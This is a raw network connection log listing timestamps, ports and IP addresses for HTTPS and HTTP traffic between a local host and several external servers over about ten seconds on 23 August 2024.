Aug 23, 2024 16:21:21.346244097 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.347910881 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.347970009 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.347976923 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.350212097 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.350248098 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.350269079 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.350274086 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.350307941 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.350312948 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.351634979 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.351684093 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.351689100 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.394265890 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.432071924 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.433386087 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.433446884 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.433471918 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.434372902 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.434400082 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.434423923 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.434432030 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.434608936 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.435667992 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.435779095 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.435903072 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.435986042 CEST	49729	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:21.436001062 CEST	443	49729	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:21.438993931 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.439042091 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.439136028 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.439342976 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.439357042 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.585078001 CEST	443	49702	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:21.585158110 CEST	443	49702	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:21.585293055 CEST	49702	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:21.939918041 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.940216064 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.940242052 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.940597057 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.941020966 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.941099882 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:21.941194057 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:21.988513947 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:22.003597021 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.003690004 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.005609035 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.005620003 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.005933046 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.057251930 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.065784931 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.083086014 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.083159924 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.084515095 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:22.084600925 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:22.084726095 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:22.085201025 CEST	49732	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:22.085220098 CEST	443	49732	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:22.112500906 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.112935066 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.112955093 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.113214016 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.114357948 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.114406109 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.114430904 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.303960085 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304019928 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304040909 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304083109 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304101944 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.304101944 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.304178953 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304213047 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.304246902 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.304267883 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.305744886 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.305838108 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.305850983 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.305934906 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.305994034 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.314083099 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.314097881 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.314121008 CEST	49731	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:22.314126015 CEST	443	49731	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:22.400284052 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400306940 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400342941 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400386095 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.400403023 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400403023 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.400424004 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400485992 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.400842905 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.400849104 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.400859118 CEST	49730	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.400867939 CEST	443	49730	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.478980064 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.479026079 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.479111910 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.479284048 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.479295969 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.491898060 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.491936922 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.492033958 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.492299080 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:22.492316008 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:22.553112984 CEST	49702	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:22.553143978 CEST	443	49702	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:23.367661953 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.368695021 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.368808985 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.372759104 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.372777939 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.375710011 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.375716925 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.375782013 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.375791073 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.386934042 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.386945009 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.387154102 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.388519049 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.388556004 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.388596058 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.617472887 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:23.681332111 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:23.689774036 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.689791918 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.689826965 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.689954996 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.689987898 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.690526962 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.690538883 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.690558910 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.690820932 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.690855980 CEST	443	49733	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.690917015 CEST	49733	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.691513062 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.691534996 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.691605091 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.691670895 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.691689968 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.691956997 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.691977978 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.692097902 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.692120075 CEST	443	49734	20.190.159.71	192.168.2.16
Aug 23, 2024 16:21:23.692193031 CEST	49734	443	192.168.2.16	20.190.159.71
Aug 23, 2024 16:21:23.754646063 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:23.754683018 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:23.754785061 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:23.755003929 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:23.755017996 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:23.812201023 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:23.812264919 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:23.812323093 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:23.921273947 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:24.526290894 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:24.560121059 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:24.560151100 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:24.627835989 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:24.627962112 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.629357100 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.629368067 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:24.629632950 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:24.630801916 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.630842924 CEST	443	49735	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:24.630911112 CEST	49735	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.698201895 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.698236942 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:24.698338032 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.698616028 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:24.698626041 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.410660028 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.410754919 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.410854101 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.411138058 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.411175966 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.616414070 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.616542101 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.621311903 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.621329069 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.621584892 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.622778893 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.622822046 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.622947931 CEST	443	49736	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.623114109 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.623130083 CEST	49736	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.722486019 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.722527027 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.722640038 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.724167109 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:25.724179983 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:25.729543924 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:25.941514969 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.941786051 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.941795111 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.942090988 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.942450047 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.942498922 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.942606926 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.942682981 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.942708015 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:25.942857027 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:25.942883015 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.210016012 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.210963964 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.211000919 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.211035967 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.211050034 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.211113930 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.213074923 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.213140965 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.213193893 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.213222027 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.213232040 CEST	443	49737	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:26.213241100 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.213299990 CEST	49737	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:26.216317892 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.216350079 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.216464996 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.216710091 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.216721058 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.218470097 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.218480110 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.218539953 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.218703985 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.218715906 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.617153883 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.617260933 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.618766069 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.618786097 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.619128942 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.620245934 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.620301962 CEST	443	49738	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.620363951 CEST	49738	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.681761026 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.681799889 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.681932926 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.682209015 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:26.682219982 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:26.855060101 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.855346918 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.855370045 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.855676889 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.855968952 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.856029987 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.856110096 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:26.896512985 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:26.929687977 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.929930925 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.929960966 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.930286884 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.930576086 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.930638075 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:26.930716991 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:26.976499081 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.026786089 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:27.026851892 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:27.026912928 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:27.027579069 CEST	49739	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:27.027600050 CEST	443	49739	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:27.186070919 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.186094046 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.186172009 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.186198950 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.186250925 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.189177036 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.189207077 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.189301014 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.189528942 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.189539909 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.193099022 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.193119049 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.193209887 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.193216085 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.193248987 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.193248987 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.193269968 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.193434954 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:27.193445921 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:27.825238943 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:27.825331926 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:27.826772928 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:27.826783895 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:27.827117920 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:27.831279039 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:27.831353903 CEST	443	49741	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:27.831460953 CEST	49741	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:28.050425053 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.057097912 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.060107946 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.060132980 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.060389996 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.060403109 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.060578108 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.060719013 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.060941935 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.061016083 CEST	443	49743	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.061203003 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.061259031 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.061357021 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.104506016 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.110299110 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.111820936 CEST	49743	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.142577887 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:28.215950966 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:28.215971947 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:28.216072083 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:28.216316938 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:28.216336012 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:28.421925068 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.421947002 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.422025919 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.422038078 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:28.422086954 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:28.487293959 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 23, 2024 16:21:29.196063995 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:29.196141958 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:29.197321892 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:29.197331905 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:29.197587967 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:29.198621988 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:29.198664904 CEST	443	49744	20.73.194.208	192.168.2.16
Aug 23, 2024 16:21:29.198713064 CEST	49744	443	192.168.2.16	20.73.194.208
Aug 23, 2024 16:21:29.938255072 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 23, 2024 16:21:30.843718052 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:30.893270016 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:31.438324928 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:31.438352108 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:31.438430071 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:31.438827038 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:31.438833952 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:31.438889027 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:31.439026117 CEST	49745	443	192.168.2.16	202.172.26.4
